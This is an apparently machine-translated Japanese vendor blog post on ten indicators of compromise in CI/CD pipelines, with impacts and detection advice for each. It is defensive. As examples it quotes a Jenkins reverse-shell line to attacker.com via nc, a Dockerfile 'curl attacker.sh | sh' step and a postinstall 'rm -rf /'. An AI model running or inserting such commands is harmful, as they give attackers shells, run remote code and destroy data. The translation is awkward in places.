妥協の兆候トップ10 CI/CD Pipelines

はじめに:サイバーセキュリティにおける侵害の兆候とは何か?

侵害の兆候は、システムまたは pipeline 攻撃を受けている可能性がある。簡単に言うと、 侵入の痕跡 攻撃者が残した痕跡、奇妙なもの loginファイルの変更、または隠れたマルウェア。 IOCのサイバーセキュリティそれらは犯罪現場の指紋のように機能し、何かがおかしいという明確な証拠を与えてくれます。したがって、開発者が尋ねると 妥協の兆候とは何か答えはサーバーやファイアウォールに限ったものではなく、現代の CI/CD pipelines.

これらの中で pipeline攻撃者は、気づかれることなくコードを改ざんしたり、悪意のある依存関係を挿入したり、ビルド手順を変更したりすることができます。しかし、ほとんどのガイドは依然としてサーバーやネットワークのみに焦点を当てています。その結果、ソフトウェアサプライチェーンは最も容易な標的の1つとなっています。

そのため、 CI/CD pipelineは不可欠です。何よりも、マルウェアのブロック、機密情報の保護、ソフトウェア配信のあらゆる段階におけるセキュリティ確保に役立ちます。

妥協の兆候トップ10 CI/CD Pipelines

侵害の兆候を説明する際、ほとんどのリストはサーバーやネットワークに焦点を当てています。しかし、 CI/CD pipeline攻撃者は、それぞれ異なる痕跡を残します。これらの痕跡を認識することは、積極的な防御にとって非常に重要です。以下に、すべての開発者とセキュリティエンジニアが注意すべき10のIOC(侵害指標)サイバーセキュリティの危険信号を示します。

1. 不審な依存関係の変更

妥協の主な指標の1つは pipelinesは、突然発生する奇妙な依存関係の更新です。攻撃者は、開発者がパッケージマネージャーに抱く信頼を利用して、危険なパッケージを追加することがよくあります。

例えば、npmでは package.json diffには突然以下の内容が含まれる可能性があります。

こうした変更は安全に見えるかもしれないが、すべてのビルドにトロイの木馬化されたコードを挿入する可能性がある。

影響: 侵害されたビルドは、ソースコードからマルウェアを継承する。

検出: 依存関係のレビューを強制し、ロックファイルの差分を追跡し、常に新しいパッケージをスキャンする。

2. ビルド内の難読化コード 

マルウェア作成者は、審査を回避するために難読化を利用します。その結果、 CI/CD pipeline難読化されたペイロードは、最も検出が難しいものの1つです。実際、難読化されたペイロードは、気づかれないうちにオープンソースライブラリやコンテナイメージに紛れ込むことがよくあります。

具体的な例を挙げますと、以下の通りです。

  • PyPI パッケージを使用する base64.b64decode("cHJpbnQoSGFja2VkKQ==").
  • 不要なUPXバイナリが詰め込まれたDockerイメージ。
  • JavaScript が満載 \x41\x42 逃走経路は、身を隠している認証情報窃盗犯を逃走させる。

影響: 隠されたコードは、ビルド時または実行時に静かに実行されるため、IOC(侵害指標)サイバーセキュリティにおいて重要なシグナルとなる。
検出: 組み合わせる SAST マルウェアスキャンを用いて、エンコードまたはパックされたコードを検出する。何よりも、難読化はさらなる調査が必要な危険信号として扱うべきである。

3. Gitに隠された秘密情報:典型的なIOCサイバーセキュリティリスク

CI/CD pipeline多くの場合、リポジトリから直接シークレットを継承します。しかし、 Gitに秘密情報が現れたときそれらは「妥協の兆候とは何か」という質問に対する最も明確な答えの1つとなる。 pipeline認証情報がGitに渡ると、攻撃者はそれを無期限に悪用することができます。

具体的な例を挙げますと、以下の通りです。

  • A .env を含むファイル AWS_SECRET_KEY=.
  • トークンがプッシュされました config.json.
  • 削除後もGitの履歴に秘密情報が残っている。

影響: 公開されたキーにより、攻撃者は直接アクセスできるようになります CI/CD pipelineクラウドシステムやデータベースなど。したがって、これは侵害の最も危険な兆候の1つです。
検出:   pre-commit hooks また、CIジョブを使用して機密情報のスキャンを行い、漏洩した鍵は直ちに失効させる。さらに、漏洩リスク期間を短縮するために、自動修復を徹底する。

4. 改ざん Pipeline 設定:侵害の隠れた兆候

Pipeline 設定は高価値ターゲットです。 たった1つの変更がワークフロー全体を乗っ取ってしまうこともよくある。結果として、改ざんされた pipeline ファイルは、従来の監視ツールではほとんど検出されない、重大なIOC(侵害指標)サイバーセキュリティリスクである。

具体的な例を挙げますと、以下の通りです。

  • GitHub Actions では:

  • GitLabでは、悪意のあるジョブが追加されました。 .gitlab-ci.yml 機密データを漏洩する。
  • Jenkinsでは: sh "nc -e /bin/bash attacker.com 4444".

影響: これらの承認されていない変更により、 pipeline これは攻撃者にとって恒久的なバックドアとなり、明らかに侵害の兆候とみなされる。
検出: 署名付き構成を強制し、PR承認を必須とし、予期しないジョブを監視します。さらに、 guardrails 変更されたワークフローを自動的にブロックする。

5。 特権 IaC デフォルト 

インフラストラクチャ定義の設定ミスは、隠れたバックドアを生み出すことがよくあります。その結果、特権的なデフォルト設定では、 IaC これらは典型的なIOC(情報運用上の脆弱性)によるサイバーセキュリティリスクである。

具体的な例を挙げますと、以下の通りです。

  • ポッドを許可するKubernetesデプロイメント privileged: true.
  • Helmチャートでサービスを公開 0.0.0.0:22.

影響: 攻撃者はルートレベルのアクセス権を取得したり、内部サービスを外部に公開したりする。結果として、これらの問題は攻撃対象領域を大幅に拡大させる。
検出: Apply IaC マージ前に最小権限を強制するためのスキャンを実行します。さらに、すべての構成がレビューされていることを確認します。 pipeline.

6. 異常なビルド動作 

攻撃者はしばしば pipeline 悪意のある行為を紛れ込ませる行動。言い換えれば、異常なビルド活動は、侵害の兆候とは何かという問いに対する最も明確な答えの1つです。 CI/CD pipelines.

具体的な例を挙げますと、以下の通りです。

  • 見知らぬドメインに対してネットワークリクエストを送信するビルド。
  • Node.jsプロジェクトが突然PowerShellを起動する npm install.
  • ビルドスクリプトで定義されていない大きなバイナリをダウンロードするCIジョブ。

影響: 侵害されたビルドはマルウェアの配布拠点として機能する可能性があります。何よりも、あらゆるデプロイメントに悪意のあるペイロードを拡散させてしまうのです。
検出: ビルドログを監視して、予期しないプロセスや接続を検出してください。さらに、異常検知を設定して、通常とは異なる動作を検知するようにしてください。

7. IOC(侵害指標)としての悪意のあるパッケージスクリプトによるサイバーセキュリティリスク

パッケージマネージャーはライフサイクルをサポートします hooks 攻撃者が悪用する脆弱性です。したがって、npm、PyPI、またはDockerfileに悪意のあるスクリプトが含まれている場合は、システム侵害の強い兆候となります。

具体的な例を挙げますと、以下の通りです。

  • ネット: postinstall スクリプト実行中 rm -rf / またはC2へのビーコン送信。
  • PyPI: setup.py インストール時に隠されたPythonコードを実行する。
  • Dockerfile: RUN curl attacker.sh | sh.

影響: この攻撃は、実行時テストが行​​われる前に、インストール中に実行されます。そのため、開発者は手遅れになるまで気づかない可能性があります。
検出: パッケージマニフェストをスキャンしてインストールスクリプトを検出します。さらに、リスクのある hooks in CI/CD 感染リスクを軽減するための仕事。

8. 登録情報漏洩の兆候

攻撃者はレジストリ内のアーティファクトを置き換えたり変更したりしますが、これらの事象はサプライチェーンにおける侵害の兆候を示す典型的な例です。 pipelines.

具体的な例を挙げますと、以下の通りです。

  • Dockerイメージタグが、トロイの木馬が仕込まれたレイヤーで密かに更新された。
  • 内部パッケージが、悪意のあるバージョンに置き換えられました。
  • npm名前空間の占有、例えば lodash-proxy.

影響: レジストリアーティファクトを使用するすべてのビルドが侵害される。それだけでなく、侵害は下流のサービスにも波及する。
検出: すべてのレジストリプルに対して署名と整合性チェックを強制します。さらに、アーティファクトの起源を追跡します。 SBOM 検証

9. IOC証拠としての異常なユーザーアクティビティ

侵害されたアカウントは、ほぼ必ず異常な痕跡を残す。 したがって、開発者の異常な行動は、情報漏洩の強い兆候である。

具体的な例を挙げますと、以下の通りです。

  • Commit現地時間午前3時にプッシュされました。
  • 休暇中のアカウント担当者によるPR承認。
  • Pipeline異常な頻度でトリガーされる。

影響: 攻撃者は盗んだ認証情報を悪用して悪意のある変更を挿入します。 commit通常のワークフローに容易に溶け込む。
検出: モニター SCM 異常検知のための活動、MFAの強制、トークンの定期的なローテーション。さらに、不審な活動に対してアラートを発する。 commit または承認パターン。

10. IOCサイバーセキュリティにおける整合性チェックまたは署名チェックの失敗

一般的だが無視されている 妥協の兆候 これは、整合性または署名チェックの失敗です。IOC サイバーセキュリティでは、これらのチェックはコードまたはアーティファクトが本物であることを検証します。これらをスキップすると、 pipeline暴露された。

例:

  • SHA256ハッシュが期待されるチェックサムと一致しません。
  • GPG署名が欠落しているか、無効です。
  • An SBOM 署名のないアーティファクトを表示しています。

影響: 整合性の障害は、多くの場合、改ざん、レジストリの汚染、またはマルウェアの注入を意味します。

検出: 署名チェックを自動化し、チェックサム検証を強制し、署名のないコンポーネントをブロックする。何よりも、チェックに失敗したすべてのケースを、侵害の明確な証拠として扱う。

CI/CD 妥協の兆候を一目で確認する

侵害指標(IOC) 影響 CI/CD Pipelines 検出方法
不審な依存関係の変更 攻撃者はパッケージマネージャーに悪意のあるライブラリを注入し、ビルドの不正な実行を招きます。 ロックファイルの差分を追跡し、依存関係のレビューを強制し、依存関係を継続的にスキャンします。
ビルド内の難読化コード 隠されたペイロードは、ビルド時または実行時に検出されることなく実行されます。   SAST また、Base64、16進数、またはパックされたコードパターンを検出するためのマルウェアスキャンも行います。
Gitに隠された秘密が明らかに トークンやAPIキーが漏洩すると、攻撃者は重要なシステムに直接アクセスできるようになります。 Gitでシークレットスキャンを実行する hooks 漏洩した認証情報を自動的に取り消す。
改ざんされた Pipeline 構成 変更されたワークフローにより、データの外部流出または内部での永続化が可能になる CI/CD. PR承認を必須とし、署名済み構成を強制し、監視する pipeline 変更。
特権を持つ IaC デフォルト 過度に寛容な役割設定や安全性の低いデフォルト設定は、クラウド環境を危険にさらす。 Terraform、Kubernetes、およびHelmのファイルをスキャンして、最小権限の適用状況を確認します。
異常なビルド動作 Pipelineマルウェアの配布ポイントとして、または横方向の移動に使用されます。 ビルドログを分析し、予期しないダウンロード、プロセス、または発信通話がないか確認してください。
悪意のあるパッケージスクリプト 隠されたインストール前/インストール後スクリプトは、実行時テストの前にペイロードをトリガーします。 危険な npm/PyPI スクリプトをブロックし、実行を制限する CI/CD 。
登録中毒 トロイの木馬化されたアーティファクトは、レジストリ内の信頼できるイメージやバイナリを置き換えます。 チェックサムを検証し、署名検証を強制し、レジストリを積極的にスキャンする。
異常なユーザーアクティビティ 侵害されたアカウントが悪意のあるメッセージを配信する commits またはトリガー pipelines. MFAを強制し、監視する commit異常を検知し、分析する login パターン。
整合性チェックまたは署名チェックに失敗しました 改ざんされたコード、依存関係、またはイメージが pipeline. 整合性チェックを自動化し、署名されていないコンポーネントや不一致のコンポーネントをブロックします。

従来のIOCサイバーセキュリティがなぜ失敗するのか CI/CD リスク

ほとんどの組織は既にサーバー、コンピューター、またはネットワーク上の侵害の兆候を監視していますが、この従来のIOCサイバーセキュリティのアプローチでは、 CI/CD pipelines は現在、最も重要な攻撃対象領域の一つとなっています。実際、 pipelineは、従来のツールでは検出できない独自の侵害シグナルを示します。

伝統的な安全保障における侵害の兆候

従来のIOCサイバーセキュリティでは、通常、以下の点に重点が置かれます。

  • 珍しい login盗まれた認証情報を示唆するメールアドレスまたはIPアドレス。
  • マルウェアの存在を示す、不審なファイルハッシュやレジストリの変更。
  • データ漏洩を示唆する、予期せぬ送信トラフィック。

これらはよく知られた指標であり、 MITER ATT&CKフレームワークこれは、一般的な攻撃者の行動や戦術をマッピングするものです。これらは有用なシグナルですが、主にオペレーティングシステムや企業ネットワークに適用されるものです。そのため、ソフトウェアサプライチェーンの初期段階で発生する巧妙な改ざんを見逃してしまう可能性があります。

Why CI/CD Pipelineは異なります

CI/CD pipelineは開発者が利用できる自動化された環境です commit コード、依存関係の取得、およびリリースビルド。攻撃者は、ここでの1つの侵害がすべてのデプロイメントに連鎖することを知っています。したがって、侵害の兆候とは何でしょうか。 CI/CD pipelineそれらはとても違って見える。

  • package.jsonまたはrequirements.txtに悪意のある依存関係が密かに追加されます。
  • Gitで公開されているAPIキーまたはトークン commit.s ファイルまたは .env ファイル。
  • npmまたはPyPIパッケージに難読化されたコードが挿入されている。
  • privileged: true のような安全でないデフォルト設定を含む Terraform または Kubernetes ファイル。
  • Pipeline データ漏洩やバックドア開設のために編集されたジョブ。

これらの妥協のシグナルは CI/CD 見えないまま standard セキュリティ ツール。

IOCのサイバーセキュリティにおけるギャップ

多くのチームは侵害の兆候の重要性を理解しているものの、依然としてサーバーやネットワークログからの検出のみに頼っている。そのため、攻撃者は通常の痕跡を残さずにビルドを汚染したり、マルウェアを挿入したりすることが可能だ。XZ Utilsのバックドアや悪意のあるnpmパッケージといったインシデントが、本番環境にまで到達するまで検出されなかったのはそのためである。

こうしたサプライチェーンの妥協は、 CISA社のサプライチェーンセキュリティに関するガイダンス攻撃者がますます標的にしていると警告している CI/CD pipeline登録簿とレジストリ。

まとめ

従来のIOCサイバーセキュリティは必要だが、それだけでは不十分だ。何よりも、チームは侵害の兆候を認識できなければならない。 CI/CD pipelines。そうして初めて、悪意のあるコードや pipeline 虐待が環境全体に広がる前に阻止する。

sca-tools-ソフトウェア構成分析ツール
ソフトウェアのリスクを優先順位付けし、修復し、保護する
無料アカウントを作成しましょう。
いいえ、クレジットカードは必要ありません。

ソフトウェア開発と納品を安全に

Xygeni製品スイートと共に